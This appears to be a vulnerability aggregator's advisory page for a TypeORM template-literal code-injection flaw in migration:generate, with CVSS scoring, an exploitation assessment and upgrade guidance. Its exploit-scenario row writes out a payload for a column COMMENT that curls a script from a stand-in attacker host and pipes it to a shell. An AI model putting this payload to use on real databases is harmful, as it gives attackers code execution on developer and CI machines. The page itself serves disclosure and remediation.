EUVD-2026-58194Severity by source
AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N
PR:H for required database schema write access; AC:H for multi-step preconditions; UI:R for developer-triggered migration generation; no availability impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N
Lifecycle Timeline
3Blast Radius
ecosystem impact- 10 npm packages depend on typeorm (8 direct, 2 indirect)
Ecosystem-wide dependent count for version 1.0.0.
DescriptionCVE.org
TypeORM is a TypeScript and JavaScript ORM for Node.js that supports PostgreSQL, MySQL, MariaDB, SQLite, SQL Server, Oracle, and other databases. Prior to versions 0.3.31 and 1.1.0, typeorm migration:generate embeds database schema metadata into JavaScript or TypeScript template literals in src/commands/MigrationGenerateCommand.ts, escaping backticks but not ${...} interpolation. An attacker with database schema write access can place a payload in column COMMENT or DEFAULT metadata, or another introspected schema string, and the JavaScript engine evaluates the payload when the generated migration is loaded through migration:run, import, or require. This issue is fixed in versions 0.3.31 and 1.1.0.
AnalysisAI
Template-literal code injection in TypeORM's migration:generate command allows an attacker with database schema write access to achieve arbitrary JavaScript execution on any host that loads the generated migration file. Affected are TypeORM npm versions prior to 0.3.31 (0.x branch) and versions 1.0.0 through 1.0.x (fixed in 1.1.0), spanning PostgreSQL, MySQL, MariaDB, and CockroachDB drivers. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three conditions to coincide: (1) the attacker must have database schema write privileges sufficient to modify column COMMENTs, DEFAULT values, CHECK constraints, or view definitions on one of the affected drivers (PostgreSQL, MySQL, MariaDB, or CockroachDB); (2) a developer or automated pipeline must execute typeorm migration:generate against the compromised database; and (3) the resulting migration file must be loaded by Node.js via migration:run, import, or require. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 3.1 vector (AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N) scoring 5.7 accurately reflects the multi-step, high-privilege prerequisites: an attacker must first obtain database schema write access (PR:H), a developer must then run migration:generate against the compromised schema (UI:R), and the generated file must be loaded (AC:H). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with write access to the target database - obtained via a compromised application account, a misconfigured privilege, or a separate SQL injection - sets a column COMMENT to ${require('child_process').execSync('curl https://attacker.example/implant.sh|sh')}. When a developer or CI pipeline runs typeorm migration:generate against that database, the payload is embedded verbatim in the generated TypeScript migration file. … |
| Remediation | Upgrade TypeORM to version 0.3.31 (for 0.x users) or 1.1.0 (for 1.x users), both available on npm and tagged at https://github.com/typeorm/typeorm/releases/tag/0.3.31 and https://github.com/typeorm/typeorm/releases/tag/1.1.0 respectively. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
A vulnerability in the FinanceChatLlamaPack of the run-llama/llama_index repository, versions up to v0.12.3, allows for
Same weakness CWE-94 – Code Injection
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today